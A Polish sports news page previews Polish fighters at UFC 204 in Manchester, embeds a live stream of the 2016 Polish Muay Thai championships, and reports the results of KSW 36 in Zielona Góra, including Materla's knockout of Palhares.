Pierwotnie Łukasz Sajewski nie był przewidziany jako uczestnik gali w Manchesterze. Naprzeciw niepokonanego Marca Diakese miał stanąć Reza Madadi. 38-letni zawodnik z Iranu nie wystąpi na UFC 204 z powodu kontuzji. W związku z tym Diakiese musiał się liczyć ze zmianą rywala. Doświadczonego Madadiego zastąpi o 13 lat młodszy polski „lekki”. Dla Sajewskiego będzie to trzecia walka w UFC, z kolei Anglik zadebiutuje w najlepszej organizacji MMA na świecie. 

25-letni „Wookie” może pochwalić się większym doświadczeniem od rywala. Ma na koncie trzynaście zawodowych walk. Z kolei Diakiese dotychczas stoczył dziewięć pojedynków i  nie doznał żadnej porażki. 23-letni angielski fighter może pochwalić się tytułem mistrza federacji BAMMA. Diakiese będzie przeżywał stres w związku z debiutem w UFC, z kolei Sajewski musi zrobić wszystko, aby odnieść pierwsze zwycięstwo w najlepszej organizacji MMA na świecie.

Dla 25-latka będzie to pojedynek „o życie”. Sajewski w debiucie przegrał z Nickiem Heinem, a w kolejnym starciu lepszy okazał się Gilbert Burns. „Wookie” jest na krawędzi i musi zrobić wszystko, aby udowodnić, że warto dać mu jeszcze jedną szansę. Polski fighter wskoczył do karty walk na tydzień przed galą. Czasu na przygotowanie się i na rozpracowanie rywala niewiele. Zatem przed Sajewskim ogromne wyzwanie i pytanie „być albo nie być”.

Będzie jeszcze dwóch

W Manchesterze będzie biało-czerwono. Już siódmy pojedynek dla organizacji Dana White'a stoczy Daniel Omielańczuk. 34-letni zawodnik wagi ciężkiej wygląda coraz pewniej w UFC, ma fantastyczną serię trzech zwycięstw z rzędu. Najbliższym rywalem polskiego fightera będzie mocny Stefan Struved. Holender związany jest już z UFC siedem lat. W tym czasie stoczył wiele pojedynków z gwiazdami wagi ciężkiej m.in. Roy'em Nelsonem czy Alistairem Overeemem. 28-latek przystępuje do starcia z Omielańczukiem po pokonaniu Antonio Silvy. Na odniesienie 27 zwycięstwa w karierze Holender potrzebował… 16 sekund.

Trzecią walkę w UFC stoczy Damian Stasiak. W kwietniu 25-latek pokazał kunszt w starciu z Filipem Pejiciem, którego zmusił do poddania w pierwszej rundzie. Rywalem Polaka będzie Davey Grant. 30-letni Anglik stoczył w UFC dwie walki, zapisał na swoim koncie jedno zwycięstwo. Spotkają się zawodnicy, którzy większość walk kończą przed poddanie.

W walce wieczoru UFC 204 mistrzowskiego pasa w wadze średniej będzie bronił Michael Bisping. Naprzeciw niego stanie Dan Henderson. Ciekawie zapowiada się starcie Gegarda Mousasiego z Vitorem Belfortem. 

KM

LIVE: Mistrzostwa Polski Muay Thai 2016

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Polski Muay Thai. Zawody odbywają się w dniach 9-11 grudnia w Starachowicach.

[kod]

Mistrzostwa Polski Muay Thai Starachowice 2016

Mistrzostwa Polski Muay Thai Starachowice 2016

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MP_MT_2016.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MP_MT_2016.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MP_MT_2016.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MP_MT_2016.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Materla zgasił Palharesa

Michał Materla pokazał, że stać go na wielkie rzeczy. Oszołomił znanego z występów w UFC Rousimara Palharesa. Podczas KSW 36 w Zielonej Górze mistrzowskie pasy obronili Tomasz Narkun i Mateusz Gamrot.

Miłośnicy MMA mogą być zadowoleni. Podczas zielonogórskiej gali zobaczyli wiele efektownych akcji. Kolejne walki rozgrzewały publiczność do czerwoności. 

Obronili swoje zdobycze

Mówiło się, że takiego fightera jak Rousimar Palhares jeszcze w Polsce nie było. Ogromne doświadczenie w UFC było najlepszą wykładnię możliwości Brazylijczyka, który nie miał litości dla rywali i kończył kolejne walki przed czasem. Michał Materla stanął przed trudnym wyzwaniem. Polak musiał być niezwykle czujny.

Po początkowym rozpoznaniu walka przeniosła się do parteru, gdzie z góry znalazł się Materla. Były mistrz wagi średniej był ostrożny, także w stójce, gdzie trzymał dystans i czarował lewą ręką. Czekał i wyczuł najlepszy moment. Ten nadszedł w drugiej rundzie. Materla prawym podbródkowym odciął Brazylijczykowi prąd, a ten padł na deski jak rażony prądem. Wielki triumf popularnego „Magica”.

Mateusz Gamrot zrobił, co do niego należał. Popularny „Gamer” coraz lepiej czuje się w roli mistrza wagi lekkiej KSW. Renato „Pezinho” Gomes miał okazję odczuć to na własnej skórze. Gamrot szybko sprowadził rywalizację do parteru, gdzie budował swoją przewagę. W końcówce pierwszej rundy pojedynek wrócił do stójki. Szybkość i zdecydowanie – to atuty Polaka, do których należy dodać również konsekwencję. Szukał skrętówki i w końcu się udało.  

Tomasz Narkun obronił tytuł w kategorii półciężkiej. Polak zalał ciosami doskonale znanego z rywalizacji z Janem Błachowiczem Rameau Sokoudjou. Czarnoskóry zawodnik próbował znaleźć sposób na mistrza w parterze, jednak Narkun również nie ustępował. Pojedynek był niezwykle dynamiczny. Wynik starcia rozstrzygnął się w stójce, gdzie mistrz KSW nie miał litości dla Sokoudjou. Sędzia przerwał walkę, obaj zawodnicy byli niezwykle zmęczeni. Niecałe pięć minut, ale żywiołowość, energia i efektowność walki podniosły emocje w zielonogórskiej hali.

Super Japończyk, efektowna Brazylijka

Po raz kolejny wysokie umiejętności potwierdził Kleber Koike Erbst. Japończyk udowodnił, że w parterze czuje się jak ryba w wodzie. Szukał, szukał i w końcu znalazł sposób na Leszka Krakowskiego. Trójkąt nogami okazał się metodą na wygraną 26-latka. W pojedynku „ciężkich” lepszy Michał Kita. Michał Włodarek sprowadził pojedynek do parteru, jednak okazał się to gwóźdź do trumny. Kita wykonał skuteczną gilotynę i rywal odklepał. Ariane Lipski coraz lepiej prezentuje się podczas występów w Polsce. Brazylijka prawym sierpowym wprawiła w oszołomienie Sheilę Gaff. Kolejny cios sprawił, że rywalka upadła na deski. Lipski takiej szansy zmarnować nie mogła.

Druga wygrana Grzegorza Szulakowskiego podczas przygody z KSW. 29-latek przez trzy rundy zdominował Bartłomieja Kurczewskiego. Panowie mieli spotkać się już na KSW 34, jednak kontuzja wyeliminowała wtedy Szulakowskiego. Kurczewski poniósł drugą porażkę z rzędu. Na zwycięstwo na KSW nadal czeka Katarzyna Lubońska, która nie potrafiła znaleźć sposobu na Dianę Belbitę. Przez dwie rundy Rumunka zbudowała przewagę, imponowała mocnymi kopnięciami. Trzecia odsłona spokojniejsza, w końcu doszło do obalenia, jednak Lubońska znalazła się na plecach i nie mogła zdziałać zbyt wiele. 

Zielonogórska gala rozpoczęła się od starcia Macieja Kazieczko i Mariusza Mazura. 23-latek szybko został sprowadzony przez rywala do parteru. Mazur dominował, jednak Kazieczko dał sygnał, że może być groźny. Próbował zaskoczyć rywala balachą, ale bezskutecznie. Druga odsłona zdecydowanie na korzyść poznaniaka, który naruszył Mazura podbródkowym i potraktował go kilkoma łokciami. W trzeciej odsłonie walka toczyła się w karierze. Mazur nie był w stanie pokazać swoich możliwości w pojedynku debiutantów musiał uznać wyższość rywala.

KM